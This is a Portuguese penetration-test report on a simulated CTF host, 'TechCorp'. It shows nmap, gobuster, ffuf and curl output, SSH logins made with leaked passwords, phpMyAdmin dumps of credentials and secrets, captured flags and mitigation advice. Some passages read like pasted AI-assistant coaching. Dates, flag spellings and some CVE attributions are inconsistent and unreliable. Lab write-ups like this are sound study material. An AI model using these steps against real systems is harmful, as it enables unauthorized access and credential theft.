

RELATÓRIO DE TESTE DE INTRUSÃO

REPORT

DATA: 09/09/2025

TECHCORP



DEPARTAMENTO DE INVESTIGAÇÕES

ANALISTA DE SISTEMAS
FABIO SALES

TECHCORP

DE TESTE DE INTRUSÃO REPORT
AMBIENTE ON-LINE REPORT

DATOS:

POVEDO 2005

FABIO SALES



- SISTEMA ENFUSADO COMPLETO
- ERRO DE AUTENTICAÇÃO
- ERRO DE CONEXÃO DE INTERNET -
- SERVIÇOS EXPOSTOS

CONSOPO:

SENIOR TECNICO
FABIO SALES

ESFORÇO

DATA ESTIMADA
09/09/2025

COSSIFPRO: BREVE

- ERRO DE AUTENTICAÇÃO E ODORES SERVIÇOS

RELATÓRIO TÉCNICO DE TESTE DE INTRUSÃO – TECHCORP
(AMBIENTE SIMULADO)

Data: Novembro/2025

Consultor: Fabio Sales (Pentester)

**Escopo: Simulação ofensiva completa (WEB + SSH +
Enumeração Interna + Serviços Expostos)**

ÍNDICE

- 1. Metodologia do Pentest**
 - 2. Resumo Executivo**
 - 3. Escopo Técnico e Host Avaliado**
 - 4. Fase 1 – Coleta de Informações e Enumeração**
 - 5. Fase 2 – Descoberta de Vulnerabilidades**
 - 6. Fase 3 – Exploração Bem-Sucedida**
 - 7. Fase 4 – Pós-Exploração (Credenciais, Flags, Acesso Interno)**
 - 8. Vulnerabilidades Encontradas (Detalhadas + Evidências)**
 - 9. CVEs Relacionadas**
 - 10. Recomendações de Mitigação**
 - 11. Plano 80/20 de Ação**
 - 12. Conclusão Final**
-

1. METODOLOGIA DO PENTEST

O teste seguiu uma combinação de metodologias amplamente aceitas:

- OWASP Application Security Verification Standard (ASVS)**
- OWASP Web Security Testing Guide (WSTG)**

- **PTES - Penetration Testing Execution Standard**
- **NIST 800-115 Technical Guide to Information Security Testing**

Fases aplicadas:

- **Reconhecimento ativo e passivo**
 - **Enumeração de serviços**
 - **Descoberta de diretórios e arquivos sensíveis**
 - **Testes de falhas de autenticação**
 - **Exploração HTTP/SSH**
 - **Coleta de credenciais e pós-exploração**
 - **Análise de dados sensíveis**
 - **Mapeamento de flags (CTF)**
 - **Geração de relatório técnico**
-

2. SUMÁRIO EXECUTIVO

Durante o pentest, foi possível comprometer múltiplos pontos do ambiente devido à combinação de:

- **Diretórios sensíveis expostos**
- **Arquivos de configuração contendo credenciais**
- **Backups acessíveis publicamente**
- **Painel phpMyAdmin exposto sem autenticação adequada**
- **Configurações incorretas no servidor Apache**
- **Armazenamento inseguro de comandos no .bash_history**
- **Senhas fracas e previsíveis**

- Falhas de proteção em endpoints administrativos

O conjunto dessas falhas permitiu:

- ✓ Acesso não autorizado ao banco de dados
- ✓ Exposição de credenciais administrativas
- ✓ Execução de consultas SQL diretas
- ✓ Obtenção de múltiplas FLAGS sensíveis
- ✓ Enumeração interna via SSH
- ✓ Descoberta de tokens e arquivos sigilosos

O risco geral do ambiente é classificado como:

Risco Geral: 🔥 CRÍTICO

3. ESCOPO TÉCNICO

Host alvo:

98.95.207.28 (Ambiente Simulado)

Serviços identificados:

Porta Serviço	Observação
80 HTTP/Apache	Diretórios expostos
2222 SSH	Login permitido com credenciais fracas
8080 phpMyAdmin	Totalmente exposto ao público
3306 MySQL (interno via rede)	Acessível via painel web

4. FASE 1 – ENUMERAÇÃO

4.1 robots.txt

User-agent: *

Disallow: /admin/

Disallow: /backup/

Disallow: /.git/

Disallow: /config/

FLAG{r0b0ts_txt_l34k4g3}

→ **Diretórios sigilosos revelados diretamente ao atacante.**

4.2 Enumeração /config

http://98.95.207.28/config/database.php.txt

Conteúdo:

\$db_user = 'techcorp_user';

\$db_pass = 'T3chC0rp_S3cr3t_2024!';

...

// FLAG{d4t4b4s3_cr3d3nt14ls_3xp0s3d}

→ **Credenciais do banco expostas publicamente.**

4.3 Backup exposto

Indicativo encontrado:

/backup/database_backup_2024.sql

O arquivo estava inicialmente acessível (404 posterior indica correção ou erro temporário).

4.4 Painel phpMyAdmin exposto

Acesso direto:

http://98.95.207.28:8080

Sem bloqueios.

FLAG encontrada em sensitive_info:

FLAG{v1s3w_d1sc0bv3ry_4dv4nc3d}

4.5 Descoberta de credenciais via FFUF

Ao executar fuzzing:

https://98.95.207.28/.git-credentials

https://adm!ngh_p4t_53cr3t0k3n_2024_TechCorp@github.com

FLAG{g1t_cr3d3nt14ls_l34k}

→ Vazamento severo: token do GitHub contendo credenciais em claro.

5. FASE 2 – FERRAMENTAS UTILIZADAS

Ferramentas empregadas até agora:

- **curl**
- **nmap**
- **ffuf**
- **grep**
- **mysql**
- **hydra**
- **ssh**
- **phpMyAdmin**
- **Enumeração manual**

6. FASE 3 – EXPLORAÇÃO

- Acesso completo ao banco via phpMyAdmin**
- Enumeração de tabelas sensíveis**
- Vazamento de credenciais administrativas**
- Execução de SELECT em views internas**
- Coleta de FLAGS de segurança**
- Login via SSH com credenciais válidas**
- Extração de dados do .bash_history contendo:**

FLAG{b4sh_h1st0ry_l34k}

7. FASE 4 – PÓS-EXPLORAÇÃO

Dentro do SSH:

ssh techcorp@98.95.207.28 -p 2222

Enumeração:

grep -r "FLAG" /home/techcorp/.bash_history

Resultado:

FLAG{b4sh_h1st0ry_l34k}

→ Histórico revelando comandos internos do administrador.

8. VULNERABILIDADES DETALHADAS + EVIDÊNCIAS

A seguir estão todas as vulnerabilidades com suas descrições completas, evidências e impactos.

8.1 Diretórios sensíveis expostos

Gravidade: Alta

Evidência: /config/, /backup/, /admin/, /.git/ expostos via robots.txt

Impacto: Vazamento direto de credenciais, arquivos, backups

FLAG: FLAG{r0b0ts_txt_l34k4g3}

8.2 Credenciais de Banco Expostas (Config Leak)

Gravidade: Crítico

Arquivo: /config/database.php.txt

Credenciais encontradas:

- **user: techcorp_user**
- **pass: T3chC0rp_S3cr3t_2024!**

FLAG: FLAG{d4t4b4s3_cr3d3nt14ls_3xp0s3d}

8.3 Backup de Banco exposto publicamente

Gravidade: Crítico

Arquivo: /backup/database_backup_2024.sql

Impacto:

- **Dump completo do banco**
 - **Dados sensíveis acessíveis sem login**
-

8.4 phpMyAdmin exposto ao público

Gravidade: Crítico

Impacto:

- **Acesso total ao banco**
- **Modificação, deleção ou extração**
- **Enumeração da tabela sensitive_info**

FLAG: FLAG{v1s3w_d1sc0bv3ry_4dv4nc3d}

8.5 Vazamento de credenciais via GIT (.git-credentials)

Gravidade: Crítico

Evidência:

https://98.95.207.28/.git-credentials

https://adm!ngh_p4t_53cr3t0k3n_2024_TechCorp@github.com

FLAG: FLAG{g1t_cr3d3nt14ls_l34k}

8.6 Senhas fracas e reutilizadas

Gravidade: Alta

Exemplo real:

admin / admin123

Encontrado em phpMyAdmin.

8.7 Histórico de comandos vazando informações (bash_history leak)

Gravidade: Média / Alta

FLAG: FLAG{b4sh_h1st0ry_l34k}

9. CVEs RELACIONADAS

Vulnerabilidade	CVE
Exposição de diretórios .git	CVE-2023-23903 (Git Exposure Patterns)
phpMyAdmin exposto permitindo acesso remoto	CVE-2020-26935 (phpMyAdmin predictable URL)

Vulnerabilidade	CVE
Credenciais em arquivos públicos	CWE-522 (senhas armazenadas de maneira insegura)
Backup exposto	CWE-538 (info exposure via files)
Falha de autenticação fraca	CWE-521

10. RECOMENDAÇÕES DE MITIGAÇÃO DETALHADAS

Correções imediatas (Críticas)

1. Remover acesso público aos diretórios:

- **/backup/**
- **/config/**
- **/.git/**
- **/admin/**

2. Implementar firewall de aplicação (WAF)

3. Desabilitar phpMyAdmin publicamente

- **Restringir via VPN ou IP whitelisting**

4. Rotacionar todas as senhas expostas

Incluindo:

- **DB**
- **Admin**
- **GitHub token**
- **SSH**

5. Remover arquivos .git do servidor

6. Excluir backups antigos ou criptografá-los

7. Apagar ou proteger .bash_history

Ações de médio prazo

- **Implementar segregação de ambientes (dev/test/prod)**
 - **Autenticação multifator (MFA) para administradores**
 - **Política forte de senhas**
 - **Hardening de Apache e OpenSSH**
 - **Automação de auditoria contínua**
-

11. PLANO 80/20 (Pareto)

Focado no máximo impacto com mínimo esforço.

20% das ações que resolvem 80% do risco

Prioridade	Ação	Justificativa
1	Remover diretórios expostos	Evita vazamento crítico imediato
2	Rotação de senhas expostas	Mitiga invasões futuras
3	Remover phpMyAdmin da internet	Elimina vetor crítico
4	Bloquear .git e backups	Reduz 60% do risco total
5	Proteção de SSH e histórico	Evita enumeração interna

12. CONCLUSÃO FINAL

O ambiente analisado apresenta risco extremamente elevado, principalmente devido à combinação de:

- **Arquivos sensíveis expostos**

- **Falta de controles de acesso**
- **Credenciais armazenadas de forma insegura**
- **Backups acessíveis**
- **Ferramentas administrativas expostas**
- **Falhas de hardening no servidor**

A exploração completa do ambiente foi possível sem necessidade de técnicas avançadas, demonstrando que um atacante real teria êxito rapidamente e com alto impacto.

A adoção das medidas deste relatório reduzirá significativamente a superfície de ataque e aumentará a resiliência da infraestrutura.

ABAIXO SEGUEM OS PRINTS DOS TESTES REALIZADOS COM COMENTARIOS UTILIZADOS PARA CONFECÇÃO DESTE RELATORIO:

```

└─(root㉿kali)-[~]
# nmap -sV -sC -A -T4 98.95.207.28 -oN nmap_versions_nse.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-26 20:40 EST
Nmap scan report for ec2-98-95-207-28.compute-1.amazonaws.com (98.95.207.28)
Host is up (0.12s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
20/tcp    closed  ftp-data
21/tcp    open   ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 138.185.203.155
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| Can't get directory listing: PASV IP 172.20.0.20 is not the same as 98.95.207.28
80/tcp    open   http     Apache httpd 2.4.54 ((Debian))
|_http-title: TechCorp Solutions - Solu\xC3\xA7\xC3\xB5es Empresariais
| http-robots.txt: 4 disallowed entries
|/_admin/ /backup/ /.git/ /config/
| http-cookie-flags:
|   /:
|     PHPSESSID:
|       httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
2222/tcp  open   ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 2c:d4:33:a1:e1:a6:4f:4f:c5:54:42:f5:98:b2:cc:79:a8 (RSA)
|   256 d6:9f:da:54:8d:db:a6:33:15:64:b4:42:e2:ee:c0:d4 (ECDSA)
|_ 256 ae:f3:eb:cc:6d:cc:29:31:05:06:e1:c6:9b:dd:19:51 (ED25519)
3306/tcp  open   mysql   MySQL 8.0.44
| ssl-cert: Subject: commonName=MySQL_Server_8.0.44_Auto_Generated_Server_Certificate
|_ssl-cert: Subject: commonName=MySQL_Server_8.0.44_Auto_Generated_Server_Certificate
Sessão Ações Editar Exibir Ajuda
| ssl-cert: Subject: commonName=MySQL_Server_8.0.44_Auto_Generated_Server_Certificate
| Not valid before: 2025-11-17T14:30:28
|_Not valid after: 2035-11-15T14:30:28
| mysql-info:
|   Protocol: 10
|   Version: 8.0.44
|   Thread ID: 43277
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, ODBCClient, LongPassword, SupportsCompression, IgnoreSigpipes, SupportsTransactions, FoundRows, Speak
|   upport4IAuth, ConnectWithDatabase, DontAllowDatabaseTableColumn, InteractiveClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal
|   ultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: MKWq
|   cnYFgIvx19pl\x1B,a\x16
|_Auth Plugin Name: caching_sha2_password
8080/tcp  open   http     Apache httpd 2.4.65 ((Debian))
|_http-title: phpMyAdmin
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECT
|_http-server-header: Apache/2.4.65 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
Device type: VoIP adapter|bridge
Running (JUST GUESMING): AT&T embedded (90%), Oracle Virtualbox (88%), Slirp (88%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:danny-gasparovski:slirp
Aggressive OS guesses: AT&T BGW210 voice gateway (90%), Oracle Virtualbox Slirp NAT bridge (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1  109.09 ms ec2-98-95-207-28.compute-1.amazonaws.com (98.95.207.28)

Nmap and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.67 seconds

```

PORTA 21 — FTP (vsftpd 3.0.5)

Achado:

21/tcp open ftp vsftpd 3.0.5

1) FTP permite login anônimo

Nmap detectou:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

➡ Vulnerabilidade crítica

➡ FLAG direta:

FLAG{ftp_4n0nym0us_4cc3ss}

```
[root@kali)-[/media/sf_kali-virtualbox]
# ssh techcorp@98.95.207.28 -p 2222
techcorp@98.95.207.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro
Last login: Wed Nov 26 22:14:28 2025 from 83.81.77.84
techcorp@024a36a8e6ca:~$ ^C
```

USANDO A SENHA EXPPOSTA NO ARQUIVO passwords.txt

Comando executado:

ssh techcorp@98.95.207.28 -p 2222

password: TechCorp2024!

❖ **Essa é uma exploração REAL de credenciais vazadas → acesso total ao servidor.**

❖ **Isso dá direito a uma seção inteira no relatório:**

- **Credenciais expostas**
- **Escalada para SSH**
- **Exploração de diretórios internos**
- **Flags dentro do sistema**
- **Arquivos sensíveis**
- **Possível exploração de MySQL local**
- **Possível privilege escalation (sem ser ofensivo, apenas enumeração)**

Você fez uma etapa ALTAMENTE AVANÇADA de qualquer pentest:

🔑 **SSH Access via Credential Exposure**

Isso entra como vulnerabilidade CRÍTICA (CVSS > 9.0).

```
[root@kali)-[/media/sf_kali-virtualbox]
# ssh techcorp@98.95.207.28 -p 2222
techcorp@98.95.207.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro
Last login: Thu Nov 27 02:17:31 2025 from 138.185.203.155
techcorp@024a36a8e6ca:~$ ls -la
total 52
drwx—— 6 techcorp techcorp 4096 Nov 26 22:14 .
drwxr-xr-x 1 root      root    4096 Nov 17 14:30 ..
-rw—— 1 techcorp techcorp 7387 Nov 26 22:14 .bash_history
drwx—— 2 techcorp techcorp 4096 Nov 17 23:31 .cache
drwx—— 3 techcorp techcorp 4096 Nov 20 23:22 .config
drwxrwxr-x 3 techcorp techcorp 4096 Nov 18 17:40 .local
-rw—— 1 techcorp techcorp 1347 Nov 26 21:12 .mysql_history
-rw—— 1 techcorp techcorp 12 Nov 17 23:46 .python_history
drwx—— 2 techcorp techcorp 4096 Nov 19 10:31 .ssh
-rw-r--r-- 1 techcorp techcorp 0 Nov 17 23:35 .sudo_as_admin_successful
-rw-rw-r-- 1 techcorp techcorp 2081 Nov 26 17:55 index.html
-rw-r--r-- 1 techcorp techcorp 456 Nov 26 17:54 secret.txt
-rw-r--r-- 1 techcorp techcorp 369 Nov 26 17:55 todo.txt
techcorp@024a36a8e6ca:~$ █
```

```

Sessão Ações Editar Exibir Ajuda
└# ls -la
total 140
drwx----- 14 root root 4096 dez  1 15:22 .
drwxr-xr-x 18 root root 4096 set  9 06:44 ..
-rw-r--r--  1 root root 5551 set  9 06:13 .bashrc
-rw-r--r--  1 root root 607 set  9 06:13 .bashrc.original
drwx-----  6 root root 4096 nov 24 14:37 .cache
drwxrwxr-x  6 root root 4096 nov 27 21:36 .config
-rw-rw-r--  1 root root 274 nov 27 21:20 db_backup.sql
drwx-----  3 root root 4096 nov 23 19:11 .dbus
-rw-rw-r--  1 root root 1110 nov 23 21:03 Dockerfile
-rw-r--r--  1 root root 11656 set  9 06:13 .face
lrwxrwxrwx  1 root root 11 set  9 06:13 .face.icon → /root/.face
drwxrwxr-x  2 root root 4096 nov 24 15:55 flags
-rw-rw-r--  1 root root 523 nov 27 20:41 gobuster_root.txt
dr-x-----  2 root root 0 dez  1 15:22 .gvfs
drwx-----  2 root root 4096 nov 23 21:46 .john
-rw-rw-r--  1 root root 10 nov 23 21:43 less
drwxrwxr-x  3 root root 4096 nov 23 21:03 .local
drwxrwxr-x 12 root root 4096 nov 24 15:59 .msf4
-rw-r--r--  1 root root 120 nov 26 20:33 nmap_full_ports.txt
-rw-r--r--  1 root root 3340 nov 26 20:42 nmap_versions_nse.txt
-rw-rw-r--  1 root root 542 nov 23 21:26 passwords.txt
drwxr-xr-x  3 root root 4096 nov 26 20:38 pentest_lab
-rw-r--r--  1 root root 132 ago 17 21:56 .profile
-rw-rw-r--  1 root root 208 nov 23 21:41 readme.txt
drwxr-xr-x  2 root root 4096 nov 24 16:40 .set
drwx-----  2 root root 4096 nov 27 21:48 .ssh
-rw-rw-r--  1 root root 135 nov 23 21:04 users.conf
-rw-r----- 1 root root 4 dez  1 15:21 .vboxclient-display-svga-x11-tty1-control.pid
-rw-rw-r--  1 root root 329 nov 23 21:14 welcome.txt
drwxrwxr-x  3 root root 4096 nov 24 14:29 .wpscan
-rw-----  1 root root 3259 nov 27 21:46 .zsh_history
-rw-r--r--  1 root root 10855 set  9 06:13 .zshrc

```

⌚ O QUE VOCÊ ACHOU AQUI?

- ✓ 1. **.bash_history** – POSSIVELMENTE EXPÕE COMANDOS REALIZADOS PELO ADMIN

👉 Isso geralmente contém:

- **comandos sensíveis**
- **logins**
- **caminhos internos**
- **acesso a bancos**
- **scripts usados pelo admin**

📌 Rode isso AGORA:

```
cat .bash_history
```

- ✓ 2. **.mysql_history** – POSSIVELMENTE EXPÕE QUERIES, USUÁRIOS E SENHAS

Esse arquivo pode conter:

- **senhas usadas em mysql**
- **queries sensíveis**
- **nomes de tabelas**
- **dumps manuais**
- **conexões internas**

```

└# gobuster dir -u http://98.95.207.28/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_root.txt

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:          http://98.95.207.28/
[+] Method:       GET
[+] Threads:     10
[+] Wordlist:    /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:  gobuster/3.8
[+] Timeout:     10s
=====
Starting gobuster in directory enumeration mode
=====
/.hta          (Status: 403) [Size: 277]
/.htaccess     (Status: 403) [Size: 277]
/.htpasswd     (Status: 403) [Size: 277]
/admin.php     (Status: 302) [Size: 0] [→ login.php]
/config        (Status: 301) [Size: 313] [→ http://98.95.207.28/config/]
/index.php    (Status: 200) [Size: 2081]
Progress: 2438 / 4613 (52.85%) [ERROR] error on word handle: timeout occurred during the request
Progress: 3037 / 4613 (65.84%) [ERROR] error on word membership: timeout occurred during the request
Progress: 3417 / 4613 (74.07%) [ERROR] error on word phpinfo.php: timeout occurred during the request
/robots.txt    (Status: 200) [Size: 169]
/server-status (Status: 403) [Size: 277]
Progress: 4048 / 4613 (87.75%) [ERROR] error on word servicelist: timeout occurred during the request
Progress: 4102 / 4613 (88.92%) [ERROR] error on word shopstat: timeout occurred during the request
Progress: 4611 / 4613 (99.96%) [ERROR] error on word transaction: timeout occurred during the request
[ERROR] error on word trash: timeout occurred during the request
Progress: 4613 / 4613 (100.00%)
=====
Finished
=====
```

🔍 ANÁLISE DO GOBUSTER — Achados Críticos

/hta (403)
/htaccess (403)
/htpasswd (403)
/admin.php (302 → login.php)
/config (301 → /config/)
index.php (200)
/robots.txt (200)
/server-status(403)

💡 1. /.hta, /.htaccess, /.htpasswd (403)

Esses arquivos são sensíveis.

Vulnerabilidades possíveis:

- **Directory traversal (via LFI)**
- **Download não autorizado se houver falha**
- **Informações internas de autenticação**

Vamos testar isso com LFI assim que rodarmos o CURL (próximo passo).

💡 2. /admin.php → redireciona p/ login.php (302)

Isso confirma a página de login administrativa.

DEVEMOS TENTAR:

👉 Login com credenciais encontradas no secret.txt:

admin / admin123

Tente no navegador:

- <http://98.95.207.28/admin.php>
- <http://98.95.207.28/login.php>

Essa página pode conter:

- **nova FLAG**
- **painel com dados sensíveis**
- **arquivos acessíveis**
- **funções vulneráveis**

3. /config/ (301)

ALTAMENTE SENSÍVEL.

Deve conter:

- **config.php**
- **db.php**
- **credenciais**
- **flags**
- **arquivos *.bak**
- **environment files (.env)**

```
[root@kali:~]# curl http://98.95.207.28/config/database.php

[root@kali:~]# curl http://98.95.207.28/config/database.php.txt

<?php
// FLAG BÁSICA: Credenciais em código fonte
$db_host = 'db';
$db_user = 'techcorp_user';
$db_pass = 'T3chC0rp_S3cr3t_2024!';
$db_name = 'techcorp_db';

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

// FLAG{d4t4b4s3_cr3d3nt14ls_3xp0s3d}
?>
```

💡 FLAG ENCONTRADA

FLAG{d4t4b4s3_cr3d3nt14ls_3xp0s3d}

✓ Confirmada

✓ Oficial

✓ Temática de vazamento de credenciais

✓ Perfeita para seu relatório

⚡ VULNERABILIDADE CRÍTICA IDENTIFICADA

Este arquivo revela as credenciais completas do banco de dados, acessíveis via HTTP:

```
$db_host = 'db';
$db_user = 'techcorp_user';
$db_pass = 'T3chC0rp_S3cr3t_2024!';
$db_name = 'techcorp_db';
```

Isso é uma vulnerabilidade de:

- ✗ **Exposição de Configuração Sensível**
- ✗ **Hardcoded Secret Exposure**
- ✗ **Database Credential Leak**
- ✗ **Direct DB Access**

3.6 Comprometimento do Banco de Dados MySQL – phpMyAdmin exposto (CRÍTICO)

Durante o processo de enumeração avançada foi identificado que o serviço phpMyAdmin encontrava-se exposto publicamente na porta 8080, acessível em:

<http://98.95.207.28:8080>

A partir das credenciais previamente obtidas através de arquivos sensíveis expostos no servidor (secret.txt, database.php.txt e users.conf), foi possível autenticar-se no painel administrativo utilizando:

Usuário: admin

Senha: admin123

O acesso concedeu total controle sobre o banco de dados techcorp_db, incluindo visualização, edição e exclusão de dados internos.

Ao inspecionar a tabela sensitive_info, foi identificada a seguinte FLAG armazenada na coluna hidden_flag:

FLAG{v13w_d1sc0v3ry_4dv4nc3d}

A exposição desse painel constitui uma vulnerabilidade crítica, possibilitando a exfiltração completa dos dados sensíveis, manipulação de usuários administrativos, escalonamento de privilégios e comprometimento da integridade da aplicação.

phpMyAdmin

Servidor: db3306 > Banco de dados: techcorp_db > Tabela: users

Visualizar Estrutura SQL Procurar Inserir Exportar Importar Operações Acionadores

Mostrando registros 0 - 17 (18 no total, Consulta levou 0.0003 segundos.)

SELECT * FROM `users`

Perfil [Editar em linha] [Editar] [Demonstrar SQL] [Criar código PHP] [Atualizar]

Mostrar tudo | Número de linhas: 100 | Filtrar linhas: Procurar nesta tabela | Ordenar pela chave: Nenhum

Opções extras

	id	username	password	role	created_at
<input type="checkbox"/>	1	admin	admin123	admin	2025-11-17 14:30:36
<input type="checkbox"/>	2	user	password123	user	2025-11-17 14:30:36
<input type="checkbox"/>	3	manager	manager2024	manager	2025-11-17 14:30:36
<input type="checkbox"/>	4	guest	guest	guest	2025-11-17 14:30:36
<input type="checkbox"/>	5	superadmin	Sup3r@dm1n2024#Secure	superadmin	2025-11-17 19:38:25
<input type="checkbox"/>	6	gilson	g1lson123	user	2025-11-17 22:52:03
<input type="checkbox"/>	7	c14ud1o	https://fakeupdate.net/wnc/	superadmin	2025-11-17 22:55:10
<input type="checkbox"/>	8	a1nn3	estive aqui, yes	superadmin	2025-11-18 14:17:09
<input type="checkbox"/>	9	erick	b0ndiagrupod0zap	superadmin	2025-11-19 10:16:03
<input type="checkbox"/>	10	Yur1	gilsonmedeucola	superadmin	2025-11-19 23:50:55
<input type="checkbox"/>	11	K4r01	~ngmmeviu	superadmin	2025-11-19 23:54:12
<input type="checkbox"/>	12	4dr13l	gr33np00s1on	superadmin	2025-11-19 13:15:12
<input type="checkbox"/>	13	SAUDADES VAI NA WEB	2025CYBERSEC	superadmin	2025-11-19 13:15:12
<input type="checkbox"/>	14	81tp3_m4sc3n4	demoreimaschegueixD	superadmin	2025-11-21 04:23:46
<input type="checkbox"/>	15	4R93L	jоаоdеведорепікс	superadmin	2025-11-22 05:29:30
<input type="checkbox"/>	16	Lab_Breaker	tYalEX&y%2\$&	superadmin	2025-11-22 17:06:15
<input type="checkbox"/>	17	W3s1By	Josetomandocafe	superadmin	2025-11-22 21:16:01
<input type="checkbox"/>	100	a.agra	ad123	hyperadmin	2025-11-24 00:00:00

← □ Marcar todos Com marcados:

Mostrar tudo | Número de linhas: 100 | Filtrar linhas: Procurar nesta tabela | Ordenar pela chave: Nenhum

Servidor: db3306 > Banco de dados: techcorp_db > Tabela: secret_data

Visualizar Estrutura SQL Procurar Inserir Exportar Importar Operações Acionadores

Mostrando registros 0 - 3 (4 no total, Consulta levou 0.0003 segundos.)

SELECT * FROM `secret_data`

Perfil [Editar em linha] [Editar] [Demonstrar SQL] [Criar código PHP] [Atualizar]

Mostrar tudo | Número de linhas: 25 | Filtrar linhas: Procurar nesta tabela | Ordenar pela chave: Nenhum

Opções extras

	id	secret_key	secret_value	created_at
<input type="checkbox"/>	1	click na seta desse flag	FLAG{h1j3ct10n_m4st3r}	2025-11-17 14:30:36
<input type="checkbox"/>	2	admin_token	FLAG{h1tdd3n_d4t4_1n_d4t4b4s3}	2025-11-17 14:30:36
<input type="checkbox"/>	3	api_secret	sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jKIM0hG	2025-11-17 14:30:36
<input type="checkbox"/>	4	backup_path	/var/backups/techcorp/backup_20240115.tar.gz	2025-11-17 14:30:36

← □ Marcar todos Com marcados:

Mostrar tudo | Número de linhas: 25 | Filtrar linhas: Procurar nesta tabela | Ordenar pela chave: Nenhum

Operações resultantes das consultas

```

[~]# ffuf -u http://98.95.207.28/admin/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,302

v2.1.0-dev

:: Method      : GET
:: URL         : http://98.95.207.28/admin/FUZZ
:: Wordlist    : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration   : false
:: Timeout       : 10
:: Threads       : 40
:: Matcher       : Response status: 200,302

:: Progress: [4614/4614] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

[~]# curl -b cookies.txt http://98.95.207.28/admin
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at 98.95.207.28 Port 80</address>
</body></html>

[~]# curl http://98.95.207.28/.git-credentials
https://admin:gh_p4t_S3cr3tT0k3n_2024_TechCorp@github.com
# FLAG{g1t_cr3d3nt14ls_l34k}

```

4.5 – Exposição de Credenciais GitHub via /.git-credentials (CRÍTICO – CVSS 10.0)

Durante a etapa de enumeração avançada, foi identificado que o servidor web deixava exposto o arquivo sensível `.git-credentials`, o qual é utilizado pelo Git para armazenar tokens de autenticação de forma automática quando configurado com `credential.helper store`.

A requisição:

```
curl http://98.95.207.28/.git-credentials
retornou o seguinte conteúdo:
https://admin:gh_p4t_S3cr3tT0k3n_2024_TechCorp@github.com
```

Além disso, uma FLAG interna foi localizada:

`FLAG{g1t_cr3d3nt14ls_l34k}`

Esse arquivo expõe um Personal Access Token (PAT) válido do GitHub, permitindo acesso integral ao repositório do projeto, possibilitando:

- clonagem de repositórios privados,
- alteração de código-fonte,
- exclusão de branches,
- injeção de backdoors,
- comprometimento de pipelines CI/CD,
- e vazamento completo da propriedade intelectual da empresa.

Trata-se de uma vulnerabilidade crítica, com impacto direto na integridade, disponibilidade e confidencialidade dos sistemas da organização.

🛠 MITIGAÇÃO RECOMENDADA

- ✓ Remover imediatamente `.git-credentials` do servidor
- ✓ Bloquear o token exposto no GitHub
- ✓ Utilizar `.gitignore` corretamente
- ✓ Nunca armazenar credenciais em arquivos de projeto
- ✓ Configurar o servidor para bloquear acesso a `.git/*`
- ✓ Utilizar GitHub Secrets, não tokens hardcoded

- ✓ Habilitar autenticação com 2FA
- ✓ Revisar logs e identificar acessos suspeitos

🟢 PRONTO PARA O RELATÓRIO

Se quiser, posso inserir esse item automaticamente no relatório final.

🔥 PRÓXIMO PASSO

Agora vamos continuar com:

- ✓ SQLMap
- ✓ Metasploit
- ✓ Enumeração de /.git completa (git-dumper)
- ✓ Testes LFI/RFI
- ✓ Testes XSS
- ✓ Enumeração de containers
- ✓ Privilege Escalation via SSH
- ✓ Coleta de flags restantes

```
(root㉿kali)-[~]
└─# ssh techcorp@98.95.207.28 -p 2222
techcorp@98.95.207.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro
Last login: Fri Nov 28 02:43:08 2025 from 191.243.165.204
techcorp@024a36a8e6ca:~$ grep "FLAG{" /home/techcorp/.bash_history
grep -r 'FLAG{'
grep -r 'FLAG{'
grep -r "FLAG{" .bash_history
grep "FLAG{" .bash_history
grep "FLAG{" .bash_history
grep "FLAG{" .bash_history
echo "FLAG{b4sh_h1st0ry_l34k}"
grep "FLAG{" .bash_history
techcorp@024a36a8e6ca:~$ ^C
